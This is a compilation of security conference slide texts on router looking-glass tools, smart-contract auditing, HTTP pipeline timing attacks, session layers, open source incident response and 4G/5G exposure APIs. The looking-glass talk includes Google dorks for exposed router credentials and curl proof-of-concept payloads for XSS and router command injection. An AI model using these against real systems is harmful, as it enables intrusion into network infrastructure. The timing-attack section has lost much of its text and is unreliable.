刻,”你留在这儿,就是从半山腰出发“。”不听老人言吃亏在眼前“,可能说的就是我。在国测也有一个小 插曲,在实习的时候一年一次的国测比赛又开始了,我的工作是赛前审题和现场工作人员。当时猪猪侠 代表广测来参加比赛,我站在背后偷偷看他用UDF提权,还测了好几次才成功,哈哈哈哈。最后他们拿 了第一。 接着就去了360攻防实验室,开始做渗透测试,记得有个同学说,你来了我们的成功率提升了一半,一 时有点小得意,后来搞智能硬件,时间不长只待了8个月,可以说是年轻气盛。离开原因很简单,原因是 给我打了C。事情是有一天我们拿到了一批乌云注册用户的邮箱地址,然后我突发奇想让我带的实习生 小莫注册一个google邮箱群发招聘,实习生没经验发邮箱没挂代理。最后乌云要发律师函,惊动了谭 总。小莫是我带的实习生,不能让他受处罚,会影响他offer的,于是我和我的老大哥mickey,双双背了 C。 正巧insight-labs的几个大哥都在乌云。我就去了乌云,是因为三个白帽,跑过去和ca叔一起弄,工作很 开心,好景不长,工作了3个月,就”蹲地举手“了。在乌云比较有意思的几个事情都是和实习的小P干 的。我去淘宝二手买了个电信企业级路由,拿回来我们一起挖漏洞,最后他提交乌云,赚了通用。说好 的火锅反正我是还没吃上。”蹲地举手“的那天也是小P毕业正式入职的第一天,据说还没到自己工位,是 坐在我工位上和ca叔吹牛的时候就被拿下了。我当时还在星巴克等我的摩卡可可碎片星冰乐。 乌云被办对当时的我冲击挺大的,不可否认我当时很天真也很理想,也把三个白帽当亲儿子。一气之下 就去西北耍了半个月,回了成都。有点心灰意冷,想的是找个地方养老算了,于是去了中国网安 ms509,薪资比我应届毕业时候的都低,我也没在意,当时没有房贷,很天真。在网安有很多同班同 学,工作节奏也慢,过的也挺开心的。周末没事就拉着几个朋友自驾去川西跑一圈也是美滋滋。就这样 过了1年半,慢慢觉得生活还是要有激情,太安逸了,就这样一辈子也是无趣。 这个时候360的老领导懒总,这个时候已经分家成奇安信了,但还是叫360企业安全,说成都有岗位了, 做红队,我想从入行到现在一直做攻击,没有脱离一线,去做红队也挺合适的,于是重燃了斗志。这一 下就是快3年了。 就这么一晃而过,10年了。我也算是经历了事业单位、私企、甲方、国企、乙方,回头一看做过的事情 还挺不少。我一直坚信安全的本质是攻防对抗。因此作为搞攻击的必须在一线体会真实的战场,才能看 清楚什么是攻防。没有体会过子弹打在肉上的感觉不要说自己在战场,在一线。这也是我定义的一线选 手。脱离这样的一线快一年了,也做过一些牛逼的事情,以后老了给儿子吹牛用。在这儿想起了处在一 线多年的大哥说过的话,当时我问他要不要出来到公司干,做红队也挺不错,他说:”我要做点牛逼的事 情给我儿子吹牛“,他的语气让我知道他不是开玩笑的。 安全圈子是浮躁的,很多做技术的人这么说,我也一度这么认为。然而现在我却不这么认为了,真真做 技术的人都在安安静静做技术,他们不浮躁,浮躁的不是做技术的人,是工作的人,所谓的浮躁的安全 圈其实是安全工作圈。为钱为名情理之中。我不也是俗人么。 最近1、2年我一度怀疑自己是不是错了,看清楚了一线攻防是什么样子,也永远是一个大头兵,单兵能 力再强,到头来也只能是一个”中南海保镖“,世界上能够有几个中南海保镖呢?农场不需要中南海保 镖,只有中南海需要,而中南海只有一个。我已经在一线看了7、8年,拳怕少壮,感觉到了后浪的压 力,也意识到了身体精力的下降。没有太多的时间和精力茫然四顾,人近中年,钱不是一个人用的时 候,够用就好的价值观就有点飘忽了,怎么才叫够用,一个人用容易明白,老婆、孩子、父母一起来就 有点想不明白了,只能越多越好。 到奇安信之前职业发展,我真的是没有太考虑过,有点任性和随心。这几年开始认真的看这个行业,看 自己,回想以前走过的路,分析得与失。真正接受至少还要在这个行业工作10到20年的事实。如何塑造 自己的价值,如果增强自己创造价值的能力。当前一个大头兵的能力并不足以创造太大的价值,需要一 个小队、一个大队到一个军团。需要一个组织,需要有清晰的理解和判断,让组织在正确的方向上价值 最大化。 匆匆少年一晃而过,加油吧!中年人。10点了,该睡觉了。
pdf
Through the looking-glass, and what Eve found there http://www.s3.eurecom.fr/lg/ Luca 'kaeso' Bruno <[email protected]>, Mariano 'emdel' Graziano <[email protected]> 2 10/08/2014 About us • S3 group at Eurecom (FR) - System security – Embedded systems – Networking devices – Critical infrastructures – Memory forensics – Malware research 3 10/08/2014 Outline • Motivations • Intro to looking glasses • Threats • Vulns & incidents • Countermeasures 4 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- terrorist looking for the next target –Aim: critical infrastructure –Impact: worldwide –Skill level: low –Goal: break havoc 5 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- terrorist looking for the next target –The Internet –Impact: worldwide –Skill level: low –Goal: break havoc 6 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- terrorist looking for the next target –The Internet –Traffic routing across ASes –Skill level: low –Goal: break havoc 7 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- terrorist looking for the next target –The Internet –Traffic routing across ASes –Basic web skills, google dorks, etc... –Goal: break havoc 8 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- terrorist looking for the next target –The Internet –Traffic routing across ASes –Basic web skills, google dorks, etc... –Gaining access to BGP routers 9 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- terrorist looking for the next target A good candidate: LOOKING-GLASS 10 10/08/2014 Outline • Motivations • Intro to looking glasses • Threats • Vulns & incidents • Countermeasures 11 10/08/2014 The Internet • A networks of networks, glued by BGP http://www.caida.org/research/topology/as_core_network/2014/ 12 10/08/2014 One routing-table, many routing-tables • BGP is worldwide, each AS routing table is a (partial) local view • What you see depends on where you are http://blog.thousandeyes.com/4-real-bgp-troubleshooting-scenarios/ 13 10/08/2014 Connectivity troubleshooting • NOC tools for troubleshooting: – Distributed BGP probes, eg. RIPE Labs – Private shells exchange, eg. NLNOG – Limited web-access to routers, ie. via looking-glasses 14 10/08/2014 What's in a looking glass • A simple '90s style web-script: – Usually PHP or Perl – Single file, can be dropped in webroot – Direct connection to SSH/telnet router console – Cleartext config file (IPs, login, passwd) 15 10/08/2014 How does it work Public IP (data+BGP) Private admin (telnet/SSH) Public web (looking-glass) Internet AS64496 NOC AS64497 NOC AS64498 NOC Private net Public net 16 10/08/2014 How does it look like 17 10/08/2014 Where to get it • Focus on open-source most common ones: – Cougar LG (Perl) – Cistron LG (Perl) – MRLG (Perl) – MRLG4PHP (PHP) 18 10/08/2014 Outline • Motivations • Intro to looking glasses • Threats • Vulns & incidents • Countermeasures 19 10/08/2014 Targeting humans • Assume bug-proof software. • Humans can still mis-deploy it, and forget to: – Enable CGI/mod_php/mod_perl – Protect config files – Protect private SSH keys Exposed routers credentials 20 10/08/2014 Targeting the web-app • Assume some minor bugs may exist in the web frontend • Pwn the LG web interface: – Improper escaping – XSS/CSRF/etc. Cookie stealing for other web services 21 10/08/2014 Targeting the server • Assume some medium severity bugs may exist in the whole package • Pwn the host through LG: – Embedded third-party tools – Forked/modified modules Escalate to the hosting server 22 10/08/2014 Targeting the router • Assume important bugs may exists in the backend • Pwn the router through LG: – Missing input escaping – Command injection to router – Known bugs in router CLI Escalate to router administration 23 10/08/2014 Targeting the Internet • Assume you control multiple routers in multiple ASes • Pwn the Internet: – Reroute/blackhole local traffic – Announce bogus BGP prefix Chaos ensues :) 24 10/08/2014 Outline • Motivations • Intro to looking glasses • Threat model • Vulns & incidents • Countermeasures 25 10/08/2014 Web issues • Exposed Credentials: – Stored in cleartext: IPs, username and passwords – Configuration files at known URLs • Cookie Stealing: – XSS vulnerabilities in LG, to target other web-apps 26 10/08/2014 Web Misconfigurations • Google Dorks for login credentials: – Find the LG configuration file – Examples: ● "login" "telnet" inurl:lg.conf ● "login" "pass" inurl:lg.cfg 27 10/08/2014 Google Dorks – Exposing conf files 28 10/08/2014 Google Dorks – Exposing conf files 29 10/08/2014 Default config paths <Router_List> <!-- URL: <scheme>://[[login][:pass]@]<host>[:[port][,[port2]]] known schemes: telnet ssh rsh --> <Router Name="[censored]" Default = "yes"> <URL>telnet://root:pass@censored_IP</URL> </Router> <Router Name="[censored]” Default = "no"> <URL>telnet://root:pass@censored_IP</URL> </Router> ... </Router_List> ● Example from Cougar-LG root directory: as.txt CHANGELOG communities.txt COPYING favicon.ico lg.cgi lg.conf makeaslist.pl makedb.pl README 30 10/08/2014 Best Practices :) README sometime mentions them: ...still, we've found about 35 exposed cases! 31 10/08/2014 Exposed Source Code 32 10/08/2014 Exposed Private SSH Keys • Default path for SSH keys (CVE-2014- 3929) in Cougar LG • Where are SSH private keys stored? lg.conf:18 → /var/www/.ssh/private_key 33 10/08/2014 Exposed Pivate SSH Keys 34 10/08/2014 First steps into the web • No CAPTCHA anywhere! • This eases attacker's work: – Automated resource mapping (ping-back and conf dumping) – Automated command injection – Automated attacks from multiple AS (if bugs are found) 35 10/08/2014 XSS • Cougar LG can use either GET or POST – Reflected or persistent attack • XSS in <title> via "addr" parameter (CVE- 2014-3926) • LG maybe are not worthy web targets... – But other NOC services often are under the same-origin domain! 36 10/08/2014 XSS – for the lulz! 37 10/08/2014 XSS - POC • XSS in <title>: curl --data \ 'query=trace &protocol=IPv4 &router=ssh &addr=8.8.8.8%2F%3C%2FTITLE%3E%3C%2Fhead %3E%3Cbody%3E%3Cscript%3Ealert%28%27aa %27%29%3C%2Fscript%3E%3C%2Fbody%3E%3C %2Fhtml%3E+%3C%21' 38 10/08/2014 Router Command Injection • What if you can run whatever CLI command you want ⇥ – CVE-2014-3927 in MRLG4PHP • 'argument' parameter issue – HTML escape != sanitization • Let's look at the code (mrlg-lib.php:120) 39 10/08/2014 Router Command Injection 40 10/08/2014 Router Command Injection - PoC • From HTTP to router CLI, just remember newlines :) curl --data \ 'routerid=10 &requestid=50 &argument=8.8.8.8%0Adate%0Aexit%OA' 41 10/08/2014 Remote Memory Corruption • Sometime LG ships with embedded third- party binaries – CVE-2014-3931 in MRLG (fastping SUID bin) • ICMP echo reply is used without proper validation – fastping.c:546 Riempie_Ritardi( *((long *)&(icp->icmp_data[8])) , triptime ); • Let's have a look at the code 42 10/08/2014 Remote Memory Corruption 43 10/08/2014 Exploitation notes • Probably not commonly deployed • Time-dependent... – But you get host time in ICMP echo! • Every ICMP reply can overwrite one long word in memory... – And you have 100 probes on every try • WONTFIX by upstream 44 10/08/2014 Talking about network design ● Routers admin consoles needlessly exposed over globally routable interfaces 45 10/08/2014 Outline • Motivations • Intro to looking glasses • Threat model • Vulns & incidents • Countermeasures 46 10/08/2014 Code-wise • Understand that exposing router console to the web with hardcoded credentials can be dangerous! • Review all critical web-services written during the wild-west '90s 47 10/08/2014 Deployment-wise • Prefer a dedicated read-only route- server as LG endpoint • Check if your private files are reachable over the web (LG config, SSH keys) • Double check your web server config! (vhost vs. default docroot) 48 10/08/2014 Administration-wise • Setup proper ACL on your routers • Use strong, uniques passwords • Put admin and out-of-band services in private VLANs and subnets! 49 10/08/2014 Recap • Best-practices are often disregarded • Unaudited, old, forgotten code often sits in critical places • Attackers go for the weak links... – and escalate quickly! Internet core is fragile 50 10/08/2014 Questions? Thank you for listening! Thanks to all the members of NOPS team, who helped in bug-finding
pdf
智能合约安全开发 Ali0th Email :[email protected] 智能合约安全开发 1. 相关概念 2. 安全事件 3. 审计之路 4. 常见漏洞 5. 常用工具 智能合约 智能合约(Smart Contract)是以太坊中最为重要的一个概念,即以计 算机程序的方式来缔结和运行各种合约。最早在上世纪 90 年代,Nick Szabo 等人就提出过类似的概念,但一直依赖因为缺乏可靠执行智能合约的 环境,而被作为一种理论设计。区块链技术的出现,恰好补充了这一缺陷。 以太坊支持通过图灵完备的高级语言(包括 Solidity、Serpent、Viper) 等来开发智能合约。智能合约作为运行在以太坊虚拟机(Ethereum Virual Machine,EVM)中的应用,可以接受来自外部的交易请求和事件,通过触 发运行提前编写好的代码逻辑,进一步生成新的交易和事件,可以进一步调 用其它智能合约。 智能合约 智能合约 智能合约 Smart Contract 智能合约 DApp 安全事件 The DAO 漏洞 以太坊短地址漏洞 wallet contract奇偶校验破解 Parity多重签名钱包提款漏洞 HTTP RPC API 漏洞 Parity多重签名钱包合约漏洞 以太坊编程语言Solidity漏洞 智能合约Fallback函数 智能合约递归调用(recursive) 调用深度限制(call depth) 太阳风暴 以太坊浏览器 Mist 区块节点漏洞 日食攻击(eclipse attack) Geth客户端DoS攻击漏洞 浪子合约漏洞 自杀合约漏洞 贪婪合约漏洞 遗嘱合约漏洞 交易顺序依赖性 时间戳依赖性 挖矿中心化 BEC/SMT 智能合约无限转币漏洞 审计之路 如何从零上手新的代码语言进行审计? 审计之路 如何从零上手新的代码语言进行审计? 常规:开发过程->基本语法->深入语法->漏洞类型->工具利用->开始审计 弯道超车:语法->漏洞类型->文本直接审计 审计之路 如何从零上手新的代码语言进行审计? 常规:开发过程->基本语法->深入语法->漏洞类型->工具利用->开始审计 Remix-ide Pet-shop DASP Ethereum Smart Contract Best Practices Solidity 常见漏洞 - Arithmetic Issues 计算问题 - Integer Overflow 整形上溢 - integer underflow 整形下溢 - Race Condition 条件竞争 - Re-Entrancy 可重入性 (同函数条件竞争) - Cross-function Race Conditions 跨函数条件竞争 - Carelessness 粗心 - Missing Constructor 构造函数缺失 - Wrong Interface 错误接口 - Code Logic Issues 代码逻辑问题 - Unchecked External-Call 未经核查的外部调用 - Unprotected Function 未受保护函数 - Use tx.origin for authorization 使用tx.origin做认证 - Time manipulation 时间操纵 - Timestamp Dependence 时间戳依赖 - Access Control 访问控制 - delegatecall 使用delegatecall - Bad Randomness 随机数问题 - Using block variables 使用区块变量 - Blockhash 使用区块哈希值 - Private Seed 使用私有种子 - front-running 抢先交易 - Forcibly Sending Ether to a Contract 强制向合约转账 - Denial of Service 拒绝服务 - DoS with (Unexpected) revert 恢复交易拒绝服务 - DoS with Block Gas Limit Gas耗尽拒绝服务 - unexpected throw 意外报错 - unexpected kill 意外自杀 - access control breached 突破访问控制 - Front Running 抢先交易 - time-of-check vs time-of-use (TOCTOU) - race condition - transaction ordering dependence (TOD) - Short Address Attack 短地址漏洞 常见漏洞 Fallback 1 无参数,不返回值。 2 无匹配函数或data无内容时被调用 3 合约接受Ether时被调用(需要payable标记) 4 2300 gas 限额 5 可以接收msg.data内容 function() payable {} 常见漏洞 Re-Entrancy (可重入性) 常见漏洞 Re-Entrancy (可重入性) 常见漏洞 Gas 1 每笔交易都会收取一定数量的gas 2 执行结束后剩余gas将返还给发送者 常见漏洞 Gas耗尽拒绝服务 示例:调用者(上一个赢家)可以设置下一个赢家,如果他故意 设置这个赢家编号值很大的话,那么将可能导致循环中 gas 不足, 那么这个函数就不能再被调用成功了。 常见漏洞 区块特性 1 区块信息对所有人可见 2 交易会被排序并打包成区块,被所有参与的节点执行和分发 常见漏洞 Bad Randomness 随机数问题 1 Using block variables 使用区块变量 2 Blockhash 使用区块哈希值 常见漏洞 Bad Randomness 随机数问题 1 Using block variables 使用区块变量 2 Blockhash 使用区块哈希值 常见漏洞 谨慎使用 send(), transfer(), call.value()() 1当发生异常的时候, transfer 返回 throws,send()和call()返回false,, transfer会恢复交易前的状态,而后两者不会,如果没有核查其执行结 果时,合约会继续执行接下来的代码。 2 send()和transfer() 固定预付2,300 gas,而call()可以自定义。 常见漏洞 攻击方式: 1 gas 耗尽报错 2 fallback函数故意报错 3 处理一个没有fallback函数的合约, 或 fallback不带payable的合约。 Unchecked External Call 未经核查的外部调用 常见漏洞 攻击方式: 示例:King of the Ether 合约里,攻击者让先其合约地址成为 King ,并且这个合约是其它人无法对其转账的成功的,那么这个攻 击者的合约就永远都是 King 了。 解决方法: 验证对方是否为账户地址而非合约地址。 Denial of Service 拒绝服务:unexpected throw 意外报错 漏洞修炼 漏洞复现: not-so-smart-contracts CTF: Ethernaut 常用工具 Symbolic Execution : Manticore Oyente Mythril Static analysis : securify.ch Fuzzing : Echidna disassembler : Binary Ninja + ethersplay IDA + ida-evm 常用工具 Symbolic Execution : Manticore 基于符号执行的二进制及智能合约分析工具 使用CLI模式分析sol代码 使用API模式分析sol代码 常用工具 Symbolic Execution : Manticore Contact Me blog.riskivy.com 斗象科技能力中心(TCC) Ali0th Email :[email protected] Github : https://github.com/Martin2877
pdf
timeless attackpipeline 0x00 rce blackhattimeless attack timeless attacktimeless attack 0x01 timeless attack blackhathttps://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Timeless-Timing-Attacks.pdf TQLCTFwriteup https://blog.zeddyu.info/2022/02/21/2022-02-21-PracticalTimingTimeless/ str = "hello" for i in range(len(str)): if input[i] == str[i]: continue else: break inputstr input1 = "haxxx" input2 = "hexxx"input1input2 input1input2input1input2 1 str timeless attack timelesshttp2.0Multiplexing http2.0Multiplexing http http1.0 tcp http1.1 keepalive tcp http1.1 pipeline tcp http2.0 Multiplexing tcphttp2.0h2 https://www.cnblogs.com/cmyoung/p/14604135.html Multiplexing h2 httpstream identifier h2 h2idh2http h2h2 timeless attack h2 0x02 pipeline timeless attack timeless attackhttp2.0http1.1 http1.1timeless attack http1.1pipelinepipeline 1. pipeline 2. 1clhttp 3. 1tcp1 2 tcppipeline php //1.php <?php <?php sleep(5); echo "hello\n"; list($t1, $t2) = explode(' ', microtime()); echo (float)sprintf('%.0f',(floatval($t1)+floatval($t2))*1000); ?> ?> //2.php <?php <?php echo "hello2\n"; list($t1, $t2) = explode(' ', microtime()); echo (float)sprintf('%.0f',(floatval($t1)+floatval($t2))*1000); ?> ?> php1.php52.phpphp burp2.php1.php pipelineget wireshark wiresharktcp finburp 1. 1.php1649358045734 2. 2.php1649358045735 2.php1.php1pipeline 1. pipeline 2. pipeline12 0x03 pipelinetimeless pipelinepipelineAB1ms A*1000B*10001 1000 pipelineapache keepalive tcp100 keep-alivemax=100pipeline100 keepalivetimeoutmaxpipeline pipeline pipeline fofakeepalive 300wmax 20wkeepalivepipeline 0x04 timeless attackhttp1.1
pdf
Building a Real Session Layer D.J. Capelis Defcon 16 Let's start at the beginning It's easier to end at the end when you start at the beginning What's a Session Layer? ISO 7 Layer Model (Designed by committee) 1 – Physical Layer (e.g. Cat 6, Fiber, Air) 2 – Data Link Layer (e.g. Ethernet, 802.11[abgns...], FDDI) 3 – Network Layer (Most commonly IP) 4 – Transport Layer (e.g. TCP, UDP and a bunch of others) 5 – Session Layer (Mostly unused) 6 – Presentation Layer (Usually made fun of) 7 – Application Layer (Everything) So where's the session layer? It kinda went everywhere.... Encryption: SSL, SSH, IPSec (?) Authentication: Individual applications shouldn't be doing encryption See also: I want to use my SSH keys for everything and there's no good reason I shouldn't be able to! Tons of service specific stuff that got pushed into the application layer Generally each application is reimplementing some idea of a session independently. More Code. More Code. More Buggy Code. So let's get rid of it While we're here.... Why do application multiplexing in layer 4? I dunno Yoink Layer five'd Speaking of which... That's what we're calling this software. fived Short for: Layer Five Daemon Current Development Status: Don't actually run it Useful for demos only Here's what we're going to put into fived: Application Multiplexing Authentication Encryption Things that go away: Port Knocking Host Based Firewalls Vhosts Authentication (As much as possible) Port Numbers ... Really? Yes... really. No port numbers If TCP/UDP hadn't done them, we'd have had a real session layer 20 years ago. Okay, so... taking out port numbers, kind of a big deal Please do one of the following If you're not with me on this... shout an expletive If you're with me on this... loudly proclaim: “Hmm... interesting” Best thing about Defcon: Having hundreds of people swear at you. (If not at least a hundred of you swore, I'm disappointed in Defcon and standing on the stage looking a bit like an idiot right now) Back to the topic at hand... So let's take this slowly, in the order of most surprising to least No port numbers Precedence! Portmapper Does the same thing DNS did for IP addresses with port numbers. Kind of. (What about SRV records?) (Well... are you using them?) (That's what I thought...) Why not? a) not every machine runs it's own DNS server b) sysadmin doesn't always control DNS c) a few other things You talk big... what's your solution? RFC 1078 Little known protocol called TCPMUX Celebrates its 20th birthday in November Very simple protocol Entire specification is a paragraph HELP provides a list of service names Type service name, followed by CRLF Server responds with + or – followed by optional message and CRLF “Selected protocol starts” (The RFC is completely silent on what happens after that or when the protocol ends) So how does it help us with all the features I'm talking about? It provides a sexy port number Run this command on a unix box: grep tcpmux /etc/services tcpmux 1/tcp tcpmux 1/udp Since that's too good to pass up, we comply with the RFC Protocol is extended via “services” that are built-in to fived and enable additional features Built-ins (as of today) HELP Required by RFC, lists service names AUTH AUTH + Success Enter Username: demo Enter Password: demopass Authentication as demo successful HOST HOST + Success Which VHOST? main SSL Does almost exactly what you think it does MULTIPLEX Allows you to layer as many layer 7 connections into our layer 5 connection as you want Changes networking Traditional Networking: Your application connects to another application With fived: Your computer connects with another computer Your applications use that session to communicate just as they do today App <-> Session Client <-> fived <-> Service Let's go ahead and see it (Ignore the fact I don't have four different computers) Demos, Demos, Demos. Random Parting Thoughts ● IPv6 is sweet, you should all use it. – he.net and sixxs.net provide free tunnels ● Intel provides microcode updates for a reason, linux distros rarely do a good job of installing them or keeping up with the latest versions ● Firewalls are a poor man's substitute for security ● Security shouldn't be an excuse not to do things For those of you with the conference CD... Those slides are not the same as these. Please download a newer version from the website. (Defcon or mine.) Questions? Accusations? (To be continued in Room 104) Contact Project: http://fived.capelis.dj Personal: [email protected] http://capelis.dj
pdf
8/20/14 Open Source and CSIRT - What can we do?- Presented by: Yoshiki Sugiura, CSIRT Evangelist Shin Adachi, CISSP, CISM, CISA, PMP Congratulations HITCON on your 10th Anniversary! FIRST OF ALL 8/20/14 This presentation ONLY reflects personal views and opinions of the presenters, NOT presenters’ affiliations IN ANY WAY, including but not limited to their employers, customers, associations, and so on. DISCLAIMER •  CSIRT Evangelist •  JPCERT/CC from 1998 to 2002 •  NTT-CERT, Intelli-CSIRT •  Steering committee of Nippon CSIRT Association. •  GNU/Linux, Emacs •  Guest researcher of Meiji Univ. •  Team building •  Theory of management and Social psychology AGENDA PRESENTED BY 8/20/14 •  Silicon Valley InfoSec Geek •  FIRST Education Committee Chair •  CISSP, CISM, CISA, and PMP •  NTT-CERT •  ENISA Expert/Working Groups •  Info Security consultant •  Contributed to: •  NIST SP 500-291 and *293 •  Liberty Alliance Presence Services, eGov Profile v1, IAF, Strong Authentication etc. •  ITU-T: NGN Security and IdM PRESENTED BY AND.. MISSING HIM, WHO CAN’T COME TODAY.. •  IT gadget otaku •  Photographer •  Consultant •  vi/emacs •  grep/sed/awk •  Debian/Linux •  OS X •  Father 8/20/14 AGENDA Issues on OSS Roles of CSIRT OSS Security Tools AGENDA Issues on OSS Roles of CSIRT OSS Security Tools 8/20/14 Source: https://translate.google.com/#auto/zh-TW/vulnerability VULNERABILITY Root cause of most cyber security incidents VULNERABILITY 8/20/14 Source: https://twitter.com/apbarros/status/481157619261116416/photo/1 CASE #1- WORLDCUP 2014 CASE #1- WORLDCUP 2014 Source: https://twitter.com/apbarros/status/481157619261116416/photo/1 8/20/14 SOFTWARE VULNERABILITIES Source: 25 Years of Vulnerabilities: 1988-2012 by sourcefire How many Apache related vulnerabilities were published in 2012 and 2013? 2014 (as of July 31) 2013: 2012: QUIZ 135 129 67 Source: http://www.osvdb.org/search?search[vuln_title]=apache&search[text_type]=alltext 8/20/14 CVE-2013-1966 CASE #2 Vulnerability •  in Apache Struts 2 before version 2.3.14.1 •  allows remote attackers •  to execute arbitrary OGNL code •  via a CRAFTED request that is NOT PROPERLY HANDLED when using the includeParams attribute in i.  a URL, or ii.  a tag. Reference: http://struts.apache.org/development/2.x/docs/s2-013.html CASE #2: CVE-2013-1966 8/20/14 What is Struts? •  Open source web application Framework •  Based on MVC architecture •  Struts 2 Controller View Model Request Response CASE #2: CVE-2013-1966 Vulnerability •  in Apache Struts 2 before version 2.3.14.1 •  allows remote attackers •  to execute arbitrary OGNL code •  via a CRAFTED request that is NOT PROPERLY HANDLED when using the includeParams attribute in i.  a URL, or ii.  a tag. Reference: http://struts.apache.org/development/2.x/docs/s2-013.html CASE #2: CVE-2013-1966 8/20/14 More serious in Japan than any other places •  Not yet sure why @_@ ! •  Many websites in Japan compromised •  Such sites spread malware to users through drive by download •  Needed to apply the patch as soon as it was released… •  when Japan was in big holiday week on April~May. •  Many sites are still suspected vulnerable…" CASE #2: CVE-2013-1966 CASE #2: CVE-2013-1966 8/20/14 What are the problems? 1.  Developers •  Lack of Secure Development •  Lack of Secure Coding CASE #2: CVE-2013-1966 What are the problems? 2.  Users ~_~;; •  Didn’t care of patches " •  No Patch management in the worst cases •  Did not consider security enough, or at all" •  Even Struts 1s were still running after its support expired…(Windows XP, you are not alone.") CASE #2: CVE-2013-1966 8/20/14 CVE-2013-1966 Source: http://struts.apache.org/struts1eol-press.html What are the problems? 3.  Vendors, or System Integrators •  Some vendors did not have contractual obligations to fix vulnerabilities.# •  Some of them even not familiar enough with patching or patch management $ CVE-2013-1966 8/20/14 SECURITY ISSUES AROUND OPEN SOURCE http://en.wikipedia.org/wiki/Swiss_cheese_model Awareness test COMMERCIAL BETTER? 8/20/14 OPEN SOURCE SOFTWARE AS “FREE” SOFTWARE • Do it ourselves at our own risk. • We have all or majority of controls. AGENDA Issues on OSS Roles of CSIRT OSS Security Tools 8/20/14 WHAT CAN CSIRTS DO FOR OPEN SOURCE ? •  “An ounce of prevention equals a pound of cure.” By Benjamin Franklin •  Patch and Vulnerability Group(PVG) •  Manage patch and Vulnerability •  Zero-day -> Mitigation PATCH MANAGEMENT http://csrc.nist.gov/publications/nistpubs/800-40-Ver2/SP800-40v2.pdf 8/20/14 PATCH MANAGEMENT http://csrc.nist.gov/publications/nistpubs/800-40-Ver2/SP800-40v2.pdf Automated Deployment Distribute information Deploy Testing of Remediation Create Remediation DB Prioritize Monitoring System Inventory http://csrc.nist.gov/publications/nistpubs/800-40-Ver2/SP800-40v2.pdf PATCH MANAGEMENT 8/20/14 CSIRT AND COMMUNITIES FIRST • World wide • Over 300 Team TF-CSIRT • Europe APCERT • APAC • National CSIRT Local communities • Japan, Germany, and so on •  Vulnerability information •  Best practices •  Knowledge EARLY WARNING PARTNERSHIP FOR INFORMATION SECURITY IN JAPAN Reporter IPA (accepting agency) JPCERT/CC (Coordinator) JVN (Portal site) Vendor 2 Vendor 1 OSS 1 Vendor 3 Vendor 5 Vendor 4 OSS 3 Vendor 6 Media End User Corp. SIer ISP Supplier Analysis announce Patch Measure Information coordination http://www.jpcert.or.jp/english/vh/project.html 8/20/14 AGENDA Issues on OSS Roles of CSIRT OSS Security Tools OSS SECURITY TOOLS 8/20/14 •  Many useful tools are already available. •  Commercial level software are also there •  Attacker are also using those tools… •  Know your enemy? •  OSS security tool community •  different motivation from other OSS softs •  useful to share knowledge and information •  more security experts OSS SECURITY TOOLS •  for admins/developers •  IDS/IPS, WAF, Firewalls, •  Penetration testing, code testing •  for end users •  data encryption & signing •  data rescue •  for security professionals •  security analysis tools •  digital forensic, malware analysis, pentest OSS SECURITY TOOLS 8/20/14 Top 125 Network Security Tools http://sectools.org/ Probably best free security list https://www.techsupportalert.com/content/probably-best-free-security-list-world.htm REFERENCES OF OSS SECURITY TOOLS •  Beginners •  I don’t know which one are good. •  I don’t know how to use them •  I don’t know how to Google them. •  I don’t know how to learn them. •  Seniors- those more experienced •  I like these ones best among others. •  I know how to use them. •  “Use the Source, Luke”, in addition to Just Googling them to know! •  Do it to learn it SHARE SECURITY TOOLS, KNOWLEDGE, AND EXPERIENCES 8/20/14 •  Security requires a lot of hands-ons. •  Beginners need Seniors. •  Bring up new Jedi’s for future internet security. •  Expect young generation do more than we are doing. WHY DON’T WE HELP? CONCLUSION 8/20/14 •  Best practices using Open Source Software •  User Vulnerability Educations •  Secure Development and Secure Coding •  OSS Security Tools repository and how to use them (Hands on) MORE CONSIDERATIONS QUESTIONS? 8/20/14 SPECIAL THANKS TO Daphne Hsu PeiKan Tsung Kris Lin All other HITCON Staff AND All of you here now! Mr. Keisuke Kamata Mr. Tomoyuki Kuroda, OSS Forum Japan Mr. Masahito Yamaga Ms. Natsuko Inui, CDI-CIRT Mr. Hitoshi Endo, NTT-CERT Mr. Ikuya Hayashi, NTT-CERT ACKNOWLEDGEMENT
pdf
Attacks from a New Front Door in 4G & 5G mobile networks Dr. Altaf Shaik & Shinjo Park TU Berlin & FastIoT Blackhat USA 2022 Attacks so far in mobile networks ● Radio access network – IMSI catchers, False base stations ● Signaling interconnect – SS7, Diameter interfaces ● SIM attacks – authentication, sim jacker ● SMS spam, smshing ● Backdoors (Wiretapping) New front door: exposure function Core Exposure Function 4G/5G Core SS7/ Diameter RAN Network Partners Vertical Industries Third-party Application developers New Door Devices/IoT New front door: exposure function Server from (MVNO, MNO, IoT service Provider, platform provider) Internet Core Vertical Industries Third-party Application developers REST APIs Exposure Function 4G/5G Core Northbound APIs Service APIs RAN Enterprise domain Applications domain Exposure function: Drone use-case Source: https://www.connectivity.technology/2021/01/cellular-connected-drones-to-form-part.html Cellular-connected Drones to Form Part of Vodafone’s ‘Telco as a Service’ (‘TaaS’) Model Vodafone’s 5G Mobility Lab in Aldenhoven, Germany Overview ● Access to network exposure ● Features and configurations ● Security investigation ● Design risks ● Findings (vulnerabilities) ● Responsible Disclosure ● Takeaways Control IoT with 4G and 5G networks API Server (Provider) IoT Service Platform Backend IoT Connectivity Management Platform </> API Portal Service APIs Internet Cloud Vertical Industries Third-party Application developers REST APIs Exposure Function 4G/5G Core Network + IoT SIM Access to network exposure services via IoT service platforms ● IoT SIM cards (with IP-data and SMS tariff) – e.g., 750MB, 250 SMS, 10 year lifetime, roaming free, 10 $$ ● Radio connectivity: 4G networks (NB-IoT, LTE-M, 2G) ● Contact service provider for IoT platform access Prove industry/ company identity (e.g.,using Tax ID) Subscribe to a business plan (including NB-IoT/ LTE-M SIM cards Receive SIM cards (Mail) and API portal access (email) SIM card and API user(s) activation: create credentials Access service APIs and integrate into IoT application function Flow diagram: obtaining access to exposure services Access to network exposure services via IoT service platforms After business agreement, access is granted to – IoT connectivity management platform ● User/SIM management web application ● SIM status, activation and deactivation IoT connectivity management platform Access to network exposure services via IoT service platforms IoT service platform ● Service APIs portal (swagger/OpenAPI interface) ● 30 – 100 APIs for IoT device 